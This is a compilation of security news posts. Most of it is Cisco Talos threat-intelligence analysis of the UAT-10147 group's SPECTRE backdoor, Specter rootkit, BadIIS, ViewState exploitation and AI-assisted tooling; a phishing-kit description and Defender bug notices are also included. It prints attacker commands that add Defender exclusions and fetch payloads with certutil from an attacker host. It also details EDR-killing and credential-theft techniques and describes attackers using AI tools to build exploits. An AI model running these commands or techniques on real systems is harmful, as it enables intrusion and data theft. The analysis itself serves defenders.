A Microsoft Defender false alarm wrongly warns that antivirus is turned off after the latest update. Defender still works, and a fix is coming.
Related Posts:
The post Microsoft Defender False Alarm: “Antivirus Is Turned Off” appeared first on Daily CyberSecurity.
In our previous blog, Cisco Talos documented how UAT-10147 operationalized AI-assisted exploitation workflows to compromise internet-facing IIS and Linux servers at scale. This blog discusses how UAT-10147 is employing a diverse arsenal of tools, including SEO fraud utilities, local privilege escalation tools, and both off-the-shelf and custom developed backdoors.
To thoroughly analyze their toolkit, the following section is divided into three parts, detailing the specific tools used and their respective capabilities. We also assess that UAT-10147 is gradually incorporating AI-assisted development into its operations, likely to support the creation and refinement of tools used across its campaigns. Specifically, both its custom-developed backdoor, SPECTRE, and custom-developed rootkit, Specter, exhibit indications of AI-assisted development.
Talos also observed several SEO fraud-related components used in this campaign that we assess with medium confidence to be associated with “x神” (“xshen”), who is mentioned in a previously released Talos post. This assessment is supported by multiple development artifacts embedded in the BadIIS malware and related tooling.
The BadIIS samples used in this activity contain the following PDB paths:
We also identified that the BadIIS installer embeds a service installer containing an additional PDB string referencing “x神”:
Beyond these xshen-related development artifacts, other components in the campaign also contain references to “X.” The ASHX SEO engine configuration includes a string named “X-seo,” while the web shell uses an “X-ID” HTTP header to transmit a specific token. This header appears to support covert authentication by blending the web shell’s control traffic into otherwise routine HTTP communications.
SPECTRE is a cross-platform backdoor written in C.
Talos named this backdoor "SPECTRE" based on a debug log recovered from one of the observed samples. This log meticulously records each step of the malware's execution process and explicitly displays its name in the header. The contents of the observed log file are provided in Figure 4.
The Windows variant of SPECTRE distinguishes itself from the stock Havoc framework through custom post-exploitation and defense evasion capabilities compiled directly into the binary. Furthermore, the implant heavily prioritizes obfuscation and anti-analysis by utilizing a dual layered defense strategy. First, API resolution is executed entirely at runtime via PEB hash walking, using a DJB2 variant algorithm. Second, string encryption relies on a per-string xorshift32 pseudorandom number generator (PRNG) scheme. Sensitive literals are encrypted at compile time with unique 32-bit seeds, decrypted to thread local storage immediately before execution, and never stored in plaintext within the “.text” or “.rdata” sections. Consequently, static detection methods are largely ineffective against the implant's indicators.
SPECTRE has a feature to execute a weighted anti-analysis scoring routine that evaluates process name blocklists, RAM capacity, CPU core count, disk space, sleep acceleration detection, and common sandbox host names and usernames. If the cumulative score reaches or exceeds 50 points, the process self-terminates.
A fallback C2 domain is hardcoded within the binary and can be recovered through string decryption. All C2 communications are transmitted via HTTP POST requests to the “/api/v1/register” and “/api/v1/output” endpoints. Additionally, Talos observed a specific version of the implant attempting to read its C2 configuration from an NTFS Alternate Data Stream (ADS) located at “C:\Windows\System32\drivers\etc\hosts:cache”. This strategy allows the threat actor to easily update the C2 configuration by modifying the ADS, thereby circumventing firewall blocklists without needing to recompile the binary.
Talos observed 45 commands in this SPECTRE backdoor. 24 appear as plaintext comparands, and 21 are encrypted with the xorshift PRNG and decrypted at each dispatch.
Commands | Encrypted | Description |
shell sh | No | Execute shell command |
pwd cd | No | Print/change working directory |
ls | No | Directory listing |
cat | No | Read file |
mkdir | No | Create directory |
rm | No | Delete file/directory |
cp | No | Copy file |
mv | No | Move/rename file |
download | No | Send file to C2 |
upload | No | Receive file from C2 |
ps | No | Process list |
kill | No | Terminate process by PID |
env | No | Environment variables information |
sleep | No | Set beacon sleep interval |
sysinfo | No | OS/hardware information |
screenshot | No | Screen capture |
whoami | No | Current user/token info |
netinfo | No | Network interface information |
timestomp | No | Modify file timestamps |
rev2self | No | Revert impersonation token |
getprivs | No | List current token privileges |
selfdel | No | Delete implant file on disk |
reg | No | Registry read operations |
exit | No | Terminate beacon |
regset | Yes | Write REG_SZ or REG_DWORD value: regset <HKLM|HKCU>\path value data [REG_DWORD] |
inject | Yes | DLL injection (default: svchost.exe) |
s-nject | Yes | Shellcode injection |
getsystem | Yes | Privilege escalation |
steal_token | Yes | Token theft from target PID |
make_token | Yes | Spawn token with credentials |
earlybird | Yes | APC EarlyBird injection |
hollow | Yes | Process hollowing injection |
keylog_start | Yes | Start keystroke logger |
keylog_stop | Yes | Stop keystroke logger |
keylog_dump | Yes | Retrieve keylog buffer |
hashdump | Yes | Dump SAM/SYSTEM/SECURITY hives |
chromedump | Yes | Copy Chrome & Edge Login Data + Local State to ld/ls/ed_ld/ed_ls .tmp |
execute_assembly | Yes | In-memory .NET CLR hosting - execute any .NET assembly without disk write |
vaultdump | Yes | Spawn cmd key/list with captured pipe |
byovd_load | Yes | Load RTCore64/DBUtil driver |
byovd_unload | Yes | Unload and clean driver |
edr_kill | Yes | Kill EDR processes |
callbacks | Yes | Enumerate kernel callbacks |
proc_hide | Yes | Hide process from kernel list |
byovd_verify | Yes | Verify kernel R/W |
auto_protect | Yes | Status dashboard/ADS clear |
Table 1. Windows version command list.
During our research, Talos noticed the encrypted commands are specific features for this backdoor. The features can be divided into three categories: 1) process injection, 2) privilege escalation and credential theft, and 3) BYOVD EDR killer capabilities.
SPECTRE supports three distinct injection modalities, all managed through a unified handler. The first is standard process hollowing, which targets “svchost.exe” by default. The second is APC EarlyBird injection, which utilizes pre-allocated memory to deliver shellcode before the target thread can execute a single instruction. The third is an automated, on-startup self-hollowing technique targeting “RuntimeBroker.exe”; this executes directly from main() to conceal the implant and evade EDR visibility.
The SPECTRE implements named pipe impersonation for privilege escalation. It creates a pipe named “\.\pipe\spectre_<tid>” and acquires a SYSTEM token via ImpersonateNamedPipeClient. With SYSTEM privileges, three registry hives HKLM\SAM\SAM, HKLM\SYSTEM, and HKLM\SECURITY are saved to “%TEMP%” via RegSaveKeyA for offline NT hash extraction using Impact “secretsdump.py”.
Beyond hive dumping, SPECTRE provides two additional credential theft functions:
Entrarcmdkey.exe /list with stdout capture to enumerate Windows Credential Manager entries without any LSASS access SPECTRE downloads one of two well-known vulnerable driver from the C2 — either RTCore64.sys from MSI (associated with CVE-2019-16098) or DBUtil_2_3.sys from Dell (associated with CVE-2021-21551). It then decodes and writes the driver to disk under %TEMP%, installs it as a transient kernel service via the SCM, and opens an IOCTL handle to the device.
Leveraging arbitrary kernel read/write primitives exposed by these drivers, SPECTRE uses NtQuerySystemInformation to locate “ntoskrnl.exe” in the kernel address space. It then references a hardcoded, per-build offset table covering 13 Windows versions to calculate the exact kernel virtual addresses for PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine. By performing targeted kernel writes, the SPECTRE safely unlinks each registered EDR callback from its doubly-linked list. Consequently, kernel-callback-dependent security products are rendered completely blind to new process creations, thread creations, and image load events for the remainder of the session, successfully neutralizing EDR visibility on the target machine.
The SPECTRE Linux variant’s structure is the same as the Windows variant. It is a statically-linked ELF x86-64 binary targeting Linux systems. Upon execution, SPECTRE immediately invokes an eight-factor anti-sandbox scoring engine before establishing C2 connection. If the cumulative score reaches or exceeds the threshold of 50, the binary exits silently without generating any observable indicators.
Following successful anti-sandbox validation, SPECTRE beacons to its hardcoded C2 domain with a JSON payload, which is the same as the Windows version.
Rather than 45 commands in the Windows variant, the Linux version of SPECTRE only has 29 commands, none of which result in obfuscation or encryption.
Command | Description |
shell /bin/sh | Execute arbitrary shell command |
pwd | Print current working directory |
cd | Change working directory |
ls | List directory contents |
ps | List running processes |
cat | Read file contents |
download | Exfiltrate binary file |
upload | Write file to disk |
env | Dump or query environment |
sleep | Set agent sleep/jitter |
kill | Kill a process by PID |
mkdir | Create directory |
rm | Delete file or directory |
cp | Copy file |
mv | Move/rename file |
sysinfo | Detailed system information |
whoami | Print UID/GID with names |
id | Print UID/GID/groups (alias) |
netinfo | Network interface information |
timestomp | Modify file timestamps |
rootkit_load | Load kernel module |
rootkit_hide | Hide process from /proc |
rootkit_root | Elevate to UID 0 |
rootkit_hide_mod | Hide kernel module from lsmod |
rootkit_status | Check rootkit loaded state |
rootkit_persist | Install systemd persistence unit |
rootkit_unload | Unload kernel module |
selfdel | Self-delete |
exit | Terminate |
Table 2. Linux version command list.
The backdoor's command set encompasses comprehensive file system manipulation, system and process reconnaissance, agent management, and unrestricted shell execution. A particularly notable feature is the timestomp command, an anti-forensics mechanism that utilizes the utimensat() function and operator-provided timestamps to alter a file's modification, access, and change times.
SPECTRE's most critical capability is its integrated kernel-level rootkit, called Specter. The rootkit is deployed as a loadable kernel module disguised as “acpi_pad.ko”, allowing it to mimic the legitimate ACPI processor power management module. To maintain persistence, it utilizes a fraudulent systemd unit file named “hardware-monitor.service” and bears the description "Hardware Performance Monitor." Crucially, this service is configured with “Before=sysinit.target”, ensuring the rootkit executes on every system boot prior to the initialization of any security tooling.
The user level communicates with the loaded kernel module through a signal-based IPC mechanism, issuing kill() syscalls targeting a magic PID value of 0x7A69 (decimal 31337, a well-known "elite" hacker cultural) with specific real-time signal numbers encoding the desired operation:
This architecture grants the threat actor persistent, kernel-level control of the compromised host that survives both reboots and most user-level security controls.
The SPECTRE backdoor loads the Linux Kernel rootkit, Specter, to prevent detection from security products. Based on the SPECTRE Linux version we observed, the compiled artifact is deployed disguised as “acpi_pad.ko”. Rather than patching the syscall table, the hook mechanism rootkit uses the Linux kernel's native “ftrace” instrumentation framework with “FTRACE_OPS_FL_IPMODIFY” to redirect execution at the function entry point of six syscall handlers:
Because “ftrace” is a legitimate kernel debugging interface, this approach produces minimal noise in kernel integrity checks.
Talos investigated the source code of the Specter rootkit and assesses with medium confidence that UAT-10147 leveraged a combination of AI-assisted development and human expertise in the creation of this rootkit, which is designed to be invoked directly by SPECTRE.
The first evidence is the documentation structure. The opening feature list at the top of the source code is a product spec, not a developer's note. A complete bulleted feature list with parenthetical technical elaborations on each point reads as a response to a prompt such as, "Write a rootkit with the following features." It is the AI narrating what it is about to produce.
The second piece of evidence is the rigid, uniform style of the decorative separators. The identical width and formatting applied consistently across all 10+ logical sections exhibit a machine-like uniformity that is a classic hallmark of AI-generated output. In addition, this text exhibits a pedagogical tone. An actual developer authoring a rootkit would not need to explain basic concepts to themselves, such as the function of taint flags or the mechanics of “cat /proc/sys/kernel/tainted”. The content is clearly structured as an educational explanation for a reader, rather than authentic, internal developer notes.
The last piece of evidence is that the inclusion of three distinct methods — explicitly labeled with inline comments such as “Method 1,” “Method 2, and “Method 3” — is a common artifact of AI generation. When prompted to be thorough, AI models tend to output all known approaches. In contrast, a human developer targeting a specific kernel would simply select and implement the single most effective method. This exhaustive, multi-method presentation is a classic example of an AI's completeness reflex.
Regarding the SEO fraud utilities deployed in this attack, we observed two distinct types of malware. The first is the previously discussed BadIIS malware-as-a-service (MaaS) and the second is a C# ASHX SEO engine. While both tools share the same core capability of facilitating SEO fraud, their mechanisms for establishing persistence on the compromised server are fundamentally different.
This SEO hijacking web handler silently takes over an IIS application's request pipeline via reflection. Functionally, it mirrors standard BadIIS malware, serving fabricated content to search crawlers to poison rankings while delivering a malicious JavaScript payload to targeted users. Furthermore, the threat actor explicitly named it “public class SeoEngineHandler,” clearly communicating the tool's intended purpose.
Talos also observed that SeoEngineHandler is specifically designed to target Vietnamese internet users. The handler's internal configuration contains several indicators that substantiate this geographic focus, such as the configured C2 domains utilizing the “vn[.]xyz” suffix, and the malware explicitly targets the crawler for “Cốc Cốc” (configured as coccoc), a prominent Vietnamese web browser and search engine.
The BadIIS variant observed in this attack is deployed to the compromised server within a ZIP archive containing both 32-bit and 64-bit versions of the malware, alongside an installation batch script. One of the recovered archives contained a service installer previously documented by Talos. Notably, the core malware is the specific variant detailed in that same Talos research, characterized by the “demo.pdb” string and confirmed to operate under a MaaS model.
Talos observed the threat actor utilizing multiple “Potato” family tools to achieve system level privileges. While some of these tools, such as GodPotato and JuicyPotato, were downloaded as pre compiled binaries from the internet, others, like EfsPotato and RustPotato, were compiled by the threat actor directly from source code. Notably, analysis of the custom compiled EfsPotato and RustPotato payloads revealed embedded PDB strings and local file paths, inadvertently exposing details about the threat actor's development environment. The environment suggests that they target IIS servers and compile these custom privilege escalation tools within a designated AI directory. The explicit use of an AI folder in their build path is a fascinating detail, strongly suggesting that the threat actor may be leveraging AI to assist in the development of these tools.
UAT-10147 leveraged other multiple backdoors throughout this attack. Their arsenal includes well-known commodity and open-source tools such as Gh0stCringe, QuasarRAT, Meterpreter, Noodle RAT, and a web shell.
Talos observed a web shell with a sophisticated two layer architecture. The outer handler functions as a self bootstrapping loader that leverages in-memory dynamic compilation to execute its payload. Upon receiving the initial HTTP request, the handler reverses an obfuscated string, decodes it via Base64, and dynamically compiles the resulting code in memory using “CodeDomProvider”. To optimize execution and ensure thread safety, it caches the compiled assembly in a static field (_a) using double-checked locking, ensuring the payload is compiled only once per IIS worker process lifetime. Finally, the loader instantiates and invokes SHandler.ProcessRequest to manage all subsequent incoming requests.
The embedded handler functions as a versatile web shell implant, relying on a numeric parameter to dispatch its various operational modes. To maintain stealth, the shell employs a strict, multi-tiered authentication mechanism. It first inspects the X-ID HTTP header for a specific token; if absent, it falls back to checking the v parameter. If neither contains the exact value of "x9", the handler immediately halts execution and returns a deceptive “404 Not Found” error. This evasion technique allows the shell's covert authentication process to blend seamlessly into routine HTTP traffic.
A detailed breakdown of the supported commands and their corresponding actions is outlined below.
Command | Description |
0 (default) | Get system information (MachineName | Username | OSVersion | CurrentPath) |
1 | Execute system command.
|
2 | Read file |
3 | Write file |
4 | Direct file download |
5 | Directory listing |
Table 3. Web shell command list.
Talos has observed UAT-10147 deploying reverse Meterpreter shells to maintain persistent access to compromised Linux hosts. The observed malware functions as a first stage shellcode dropper. Upon establishing a successful connection, this dropper retrieves a second stage payload designed to establish persistence and grant the threat actor full C2 over the victim's machine.
UAT-10147 also deployed Noodle RAT against targeted Linux servers, utilizing it as a final stage backdoor to ensure persistent access. The specific payload observed in this campaign is the Type 0x03A2 ELF variant, which was previously documented in research published by Trend Micro.
Talos also observed UAT-10147 attempting to deploy QuasarRAT on compromised IIS servers to establish long-term persistence. A notable characteristic of this specific payload is its configured Campaign ID, which contains a derogatory Chinese string (“越南老逼”) toward Vietnamese elderly people. This artifact provides potential insight into the threat actor's sentiment or specific geographic targeting.
In another observed instance, UAT-10147 deployed Gh0stCringe to establish persistence. To evade detection, the threat actor embedded the Gh0stCringe payload as shellcode within a custom Go-based loader.
The following ClamAV signatures detect and block this threat:
The following SNORT® rules (SIDs) detect and block this threat:
The IOCs can also be found in our GitHub repository here.
In early 2026, Cisco Talos discovered a Chinese-speaking cybercrime group, tracked as UAT-10147, that targets a wide range of vulnerable web servers. The group engages in multiple criminal activities, including search engine optimization (SEO) fraud and data theft.
This blog post provides an overview of the campaign, examining the countries affected and the potential impact of BadIIS infections. It also outlines UAT-10147's attack chain and post-compromise tactics.
Talos assesses with moderate-to-high confidence that UAT-10147 is among an emerging class of financially motivated intrusion operators leveraging agentic AI systems to operationalize offensive tradecraft at scale. Unlike traditional use of generative AI for simple scripting assistance, the actor demonstrated:
This indicates a transition from AI-assisted scripting toward semi-autonomous offensive orchestration.
UAT-10147 targeted high-value internet-exposed web servers across multiple regions. Talos’ investigation shows affected servers located in Brazil, Bolivia, China, Canada, and Vietnam. These systems belong to organizations in sectors including government, universities, media, technology, and gaming.
From the threat actor’s command-and-control (C2) server open directory, we also identified a target list containing approximately 170,000 URLs stored in a text file. The actor appears aware that scanning the entire list at once is inefficient and time consuming. To improve performance, they split the large list into 17 files, each containing about 10,000 URLs. Additionally, the threat actor uses the letter “w” as a reference to the Chinese character “萬,” which represents 10,000.
Figure 2 shows the distribution of the target list across countries based on the IP addresses resolved from the 170,000 URLs.
Talos identified this activity after observing a compromised machine communicating with a download server hosted at “139.180.197[.]150”. A review of this IP address revealed an open directory. Below provides a high-level view of this directory listing.
Talos observed that the threat actor uses multiple methods to gain initial access to a victim’s network. After successfully achieving remote code execution (RCE) on a website or otherwise gaining access to the server, the actor typically runs an automated script to install and deploy malware for SEO fraud or data stealing. In some cases, the attacker instead installs a web shell, which allows them to manually set up the BadIIS malware and establish persistence through additional backdoor deployment.
The attack uses multiple Windows batch scripts to carry out its objectives. Although some versions of the scripts contain minor variations, these differences do not affect the overall purpose. The following section highlights the primary batch files observed during the attack.
The main script is executed after the threat actor obtains RCE or establishes an implant on the victim’s web server. It is commonly named “back.txt” or “back.bat”. This code represents a multi-stage malware deployment script that utilizes certutil to download a privilege escalation tool (EfsPotato, renamed as “prcc1.rar”), a secondary batch script (“bai.bat”), and the QuasarRAT payload (disguised as “svchosts.exe”). Using the EfsPotato tool to gain elevated system privileges, the script modifies the Windows Registry and uses PowerShell to add specific directories to the Windows Defender exclusion list, effectively hiding the malware from antivirus scans. Finally, the script attempts to delete its initial staging files and scripts to cover its tracks and hinder forensic analysis. Notably, during our research, we observed the threat actor deploying other implants in similar campaigns, including Gh0stCringe and SPECTRE. Please see this accompanying blog post on Talos' research into UAT-10147's use of the SPECTRE implant.
The secondary batch script then silently executes the backdoor and establishes persistence by creating deceptive scheduled tasks named "Google Chrome Start" that run the malware with the highest privileges every time a user logs on.
To deploy the BadIIS malware on the target machine, UAT-10147 would likely perform the following activities:
prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /t REG_DWORD /d 0 /f prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /t REG_DWORD /d 0 /f
certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat
prcc1.rar cmd.exe /C C:\Windows\system32\inetsrv\appcmd list site /config /xml
The attack begins with the threat actor sending a RCE payload to a vulnerable server to gain an initial foothold. Following successful exploitation, a web shell is deployed on the compromised Linux server, providing the attacker with persistent and interactive command execution capabilities. Leveraging this access, the threat actor proceeds to escalate privileges using a broad arsenal of known Local Privilege Escalation (LPE) exploits. Below are the exploits UAT-10147 used.
Once root-level access is achieved, the attacker deploys multiple implants such as NoodleRAT, SPECTRE, and Meterpreter which establish outbound connections to remote command and control infrastructure.
Talos observed the adversary employing a two-pronged attack strategy to compromise target environments, including exploitation of known one-day vulnerabilities and using AI tool-assisted reconnaissance and payload generation.
The threat actor heavily relies on publicly disclosed vulnerabilities to achieve RCE across both Windows and Linux web servers. To weaponize these flaws, the threat actor utilizes the Metasploit Framework to construct targeted exploits and deploy Meterpreter backdoors. Specific vulnerabilities exploited in this campaign include CVE-2022-27925, an unauthenticated RCE in the Zimbra Collaboration Suite and CVE-2021-23758, an AjaxPro deserialization RCE.
We also observed the threat actor weaponizing CVE-2021-29441 and CVE-2021-29442, an arbitrary code execution vulnerability within the Nacos framework. The exploit leverages the ScriptEngineFactory Service Provider Interface to execute malicious instructions. Upon class loading, the payload invokes Runtime.exec() to spawn an OS-level shell, dynamically adapting to the victim's environment by executing /bin/bash on Linux or falling back to cmd.exe on Windows. Once the shell is established, the payload utilizes curl to exfiltrate basic system telemetry. It POSTs the output of id and hostname (on Linux) or %USERNAME% and %COMPUTERNAME% (on Windows) directly to an attacker-controlled Nacos configuration server. By routing exfiltrated data to a legitimate cloud-based configuration management service, the attackers effectively blend their traffic with normal administrative operations. This infrastructure choice acts as an asynchronous exfiltration sink, allowing the adversaries to poll their own Nacos instance to verify successful exploitation across victims without the operational overhead or detection risk of establishing a persistent reverse shell or maintaining direct inbound connections.
Talos also captured the exploitation of CVE-2019-18935, a well-known .NET JSON deserialization vulnerability affecting Telerik UI for ASP.NET AJAX. The threat actor actively probes the environment to verify the presence of the Telerik file upload handler and fingerprint the software version. Once a vulnerable instance is confirmed, the threat actors deploy a customized, weaponized proof-of-concept to achieve arbitrary file upload and subsequent RCE. During the post-exploitation phase, the threat actor drops compiled reverse shell payloads to disk. We observed these malicious DLLs utilizing a distinct, randomized naming convention, specifically formatted as: [10 digits].[7 digits].dll.
In their second strategy, UAT-10147 leverages a suite of advanced, AI-driven offensive tools. Specifically, they utilize DeepAudit for source code vulnerability scanning. While we have not directly observed the actor exploiting vulnerabilities discovered by DeepAudit in victim environments, we did observe the framework installed on their management server. Consequently, we assess with high confidence that they intend to use it to identify vulnerabilities within target website source code or third-party package libraries. It is also highly plausible that the threat actors are also leveraging DeepAudit for defensive purposes — such as proactively auditing their own infrastructure, custom tooling, or management servers to prevent exposure and compromise by rival actors or security researchers.
Furthermore, Talos observed the threat actor installing the PentestGPT framework on their C2 server and using it to dynamically scan web servers and execute relevant proof-of-concept exploits. The threat actor successfully exploited a website and gathered information about the victim machine using Linux commands.
Additionally, UAT-10147 is leveraging AI-driven tools to build end-to-end offensive workflows. By utilizing the ysoserial framework, these tools generate custom malicious payloads designed to exploit unsafe Java object deserialization vulnerabilities. The AI tool not only creates a well-documented README instructing the attacker on how to use ysoserial to infiltrate the target server, but it also generates three companion Python scripts. These scripts enable the threat actor to easily verify writable paths and permissions, deploy an implant via a ViewState RCE, and drop a web shell onto the compromised machine using the same ViewState deserialization flaw. Furthermore, UAT-10147 employs AI tools to conduct quality assurance testing on the ViewState RCE, effectively using the AI to validate that the exploit functions correctly against the target.
The opening section outlines the threat actor’s required prerequisites: specifically, the ValidationKey, DecryptionKey, their respective algorithms (SHA1, AES, and 3DES), the target page's __VIEWSTATEGENERATOR value, and the destination URL. The threat actor noted these values are typically obtained via the open-source tool badsecrets, which maintains a database of publicly known or leaked ASP.NET MachineKey configurations. This first step illustrates that the threat actor’s success is entirely dependent on key material exposure making MachineKey confidentiality the most critical defensive control.
Before committing to full exploitation, the attacker documented a low-noise technique to verify whether a stolen MachineKey is valid against a live target. By submitting a deliberately malformed ViewState payload, they distinguish between two distinct HTTP 500 error messages:
This error message allows the attacker to silently confirm key validity without triggering meaningful command execution.
This section details the threat actor's use of “ysoserial.exe”, a well-known .NET deserialization payload generation toolkit, configured specifically for the ViewState attack surface. The guide documents the TypeConfuseDelegate gadget chain as the preferred choice, noting it leverages Process.Start() for command execution and remains fully functional on .NET 4.8. Importantly, the attacker explicitly corrects a common misconception: Contrary to claims in several public articles, .NET 4.8 does not patch these gadget chains.
The fourth section provides a Python automation script that integrates ysoserial.exe invocation and HTTP POST submission into a single workflow. The script targets the __VIEWSTATE parameter with the generated payload, mirrors the __VIEWSTATEGENERATOR value in both the POST body and the generation arguments (a critical alignment requirement), and intentionally suppresses redirects. The threat actor also documents a response-code interpretation table. Notably, an HTTP 500 with InvalidCastException is the expected success indicator, not a failure. This inverted success condition is a defensive blind spot: network monitoring tools that alert on 5xx responses may generate excessive noise, while the actual exploit succeeds silently in the error stream.
The fifth section in the guide documents a critical lesson the threat actor learned through trial and error: Time-based blind testing (e.g., ping -n 10 or timeout /t 10) is entirely ineffective for confirming ViewState RCE. Because Process.Start() is asynchronous and returns immediately, no execution delay is observable from the HTTP response. The attacker pivoted to out-of-band (OOB) HTTP callbacks using certutil, PowerShell + curl, and DNS nslookup to confirm execution.
Following RCE confirmation, the guide documents a systematic reconnaissance playbook executed entirely via PowerShell encoded commands, a well-known AMSI and logging evasion technique. The attacker collects system information, privilege tokens, web directory listings, IIS site configurations, network interface data, and running processes and all exfiltrated via HTTP POST to a remote web hook.
With reconnaissance data, the AI documented three escalating methods for establishing persistent interactive access. The preferred path is direct deployment of a custom implant, referred to internally as "SPECTRE," via certutil download. As fallbacks, the guide covers writing an ASHX web shell to the IIS webroot, with a note on handling AppPool write permission restrictions, and a PowerShell TCP reverse shell.
The final exploitation step documented is privilege escalation from IIS AppPool identity to SYSTEM. The guide identifies SeImpersonatePrivilege, a token privilege routinely granted to IIS worker processes, as the escalation vector, and lists the "Potato" family of exploits as compatible tools. The AI also references a built-in capability within their SPECTRE implant to perform this escalation automatically.
This ninth section represents the most significant finding in the recovered artifact: a detailed record of an active intrusion against a real target. The document logs specific infrastructure details including target hostnames, backend and frontend IP addresses, the exploited page path, .NET runtime version, and the MachineKey values used. Of particular note is the observation that a MachineKey is scoped to the IIS site level, meaning keys extracted from one virtual host cannot be applied to co-hosted sites.
The first Python script (“check_paths.py”) was recovered from the threat actor infrastructure and represents a post-exploitation diagnostic step. It has five sequential OOB callback tests to a “webhook.site” exfiltration endpoint:
After firing all probes, the script polls the webhook.site API directly to harvest all callback results in-session.
The second Python script (“deploy_implant.py”) handles the execution phase. Leveraging the same ViewState deserialization primitive, this script downloads and launches the SPECTRE binary implant. The implant is hosted on the attacker's C2 infrastructure and is initially retrieved by the victim's machine using certutil. Following a six-second sleep period, the script executes a PowerShell probe utilizing Test-Path and Get-Item.Length to verify the deployment, reporting the results back via the established webhook.site exfiltration channel. Should the certutil download fail, the script features a built-in fallback mechanism, automatically retrying the download using New-Object Net.WebClient.
The third Python script (“deploy_shell.py”) establishes persistent access within the attack chain. Its objective is to deploy a durable ASHX web shell (“sss.ashx”) onto the compromised IIS server utilizing the same ViewState deserialization primitive seen in the previous scripts. Because the deserialization vulnerability only permits command execution rather than direct file uploads, the script circumvents this limitation using a two-step approach. First, it uses PowerShell to write a temporary file upload handler (“up.ashx”) to disk. Second, it leverages this newly created handler as an HTTP relay to upload and place the final web shell (“sss.ashx”).
The first step involves deploying a minimal, eight-line C# ASHX handler to the target server. To accomplish this, the script Base64-encodes the handler's source code and subsequently leverages the PowerShell [IO.File]::WriteAllBytes method to decode and write the file directly into the webroot.
The second step is to verify “up.ashx” is reachable.
The third step involves uploading the final web shell via the previously established upload handler. The script initially attempts to source the web shell from a hardcoded local path on the attacker's machine: “C:\Users\dajiba\Desktop\phantom-v2\data\arsenal\webshells\sss.ashx”. If this local file is unavailable, it employs a fallback mechanism, downloading “sss.ashx” from a secondary staging server located at “139.180.197[.]150:54321”. Finally, the web shell is transmitted to “up.ashx” via an HTTP POST request, utilizing an explicit destination path parameter to deploy it across both virtual host webroots. Analysis of the remote machine revealed the username “dajiba.” This string is the pinyin romanization for the Chinese term “大雞巴.”
The final step confirms that the web shell is live by fetching it and verifying that the HTTP response size exceeds 100 bytes. Once validated, the script immediately initiates a live execution test by sending the following payload: {'a': 'Execute', 'cmd': 'whoami', 'p': 'dir'}.
The fourth python script (“exfil.py”) blends exfiltration traffic with legitimate software-as-a-service (SaaS) traffic over HTTPS to a webhook.site endpoint. The exfiltration have three stages and each stage command is encoded as UTF-16-LE Base64 and passed to powershell -nop -enc. Below are three distinct reconnaissance payloads fired sequentially:
dir C:\inetpub\wwwroot\ -Name reveals deployed applications and potential secondary attack surfaces. appcmd.exe list site exposes the full virtual hosting topology, binding configurations, and additional host names running on the same box for preparation of the next stage BadIIS installation. whoami /priv determines whether the IIS worker process runs under a high-privilege account (e.g., NETWORK SERVICE with SeImpersonatePrivilege), the standard prerequisite for a token impersonation or Potato-family privilege escalation.
Talos analyzed a findings log that documents confirmed RCE via ASP.NET ViewState deserialization on a target IIS server. Using a webhook.site listener, the threat actor received more than 12 HTTP callbacks. These callbacks not only confirmed the successful execution of four distinct ysoserial gadget chains on .NET 4.8.4797.0, but they also exfiltrated valuable reconnaissance data. The exfiltrated telemetry revealed the host name and user identity, that the webroot contained 13 site directories, and recorded an access denial when attempting to read “redirection.config”. In addition, the data also confirmed that SeImpersonatePrivilege was enabled, highlighting a viable path for Potato-family privilege escalation.
The following ClamAV signatures detect and block this threat:
The following SNORT® rules (SIDs) detect and block this threat:
IOCs can also be found in our GitHub repository here.
Microsoft released a patch for the Microsoft Defender scan failure issue. Learn how a flawed update stopped threat services and how to fix this severe error.
Related Posts:
The post Microsoft Defender Scan Failure: A Flawed Update appeared first on Daily CyberSecurity.
JWR is a phishing framework capable of harvesting complete payment card data, login credentials, and personally identifiable information (PII) documents and images in real time. The client-side engine of the framework impersonates login, and checkout flows of several payment gateways, including Shopify, PayPal, Apple, Klarna, and banks, while allowing the operator to stealthily control the victim session through an AES-CTR encrypted WebSocket channel. The client engine architecture is divided into a Host Bridge module that relays commands into a phishing inline frame (iframe) and a Vue.js victim application that renders across 44 phishing pages, streams the victim's keystrokes to the actor as they are typed, and carries out more than 40 distinct instructions issued from the command-and-control (C2) console. The data exfiltration schema is a cvvform object that includes fields such as credit card number, CVV, PIN, expiry date, Social Security Number (SSN), passport or ID images, two-factor authentication (2FA) codes, website logins, PayPal credentials, and device fingerprint.
Talos discovered that the JWR client engine shares significant code and functional similarities with the client of The Outsider PhaaS platform operated by the Chinese-speaking actor “Outsider Enterprise,” which was reported by external researchers.
The execution starts when the parent phishing webpage loads and executes the client's engine. It checks a single global flag, window.__HOST_MODE, which is set by the parent phishing page, and selects one of two execution modes. If the flag is set, the script enters Host Mode, and control passes to the Host Bridge module, an immediately invoked function expression (IIFE) that operates within the parent page, typically a replica of a legitimate checkout or account login page, relaying received details into a child iframe that contains the actual phishing form. It establishes a persistent WebSocket connection to the actor’s C2 server.
If the flag is not set, the page enters Content Mode, and control passes to the Vue.js Application, an interactive front end that renders the phishing pages, collects victim input, manages the flow across 44 HTML files, and handles the actor’s instructions from the C2 server, ultimately redirecting to a custom error page after sending the data to the C2. The Content Mode of execution has three communication modes: standalone, pluginIframe, and hostIframe.
Regardless of which of these three modes or through the Host Bridge is used, the data is either sent to C2 as plain text in JSON format with the DEV_MODE flag set, or it is passed to the JwrCrypto module, which encrypts it with a newly generated key before sending it to the C2 server.
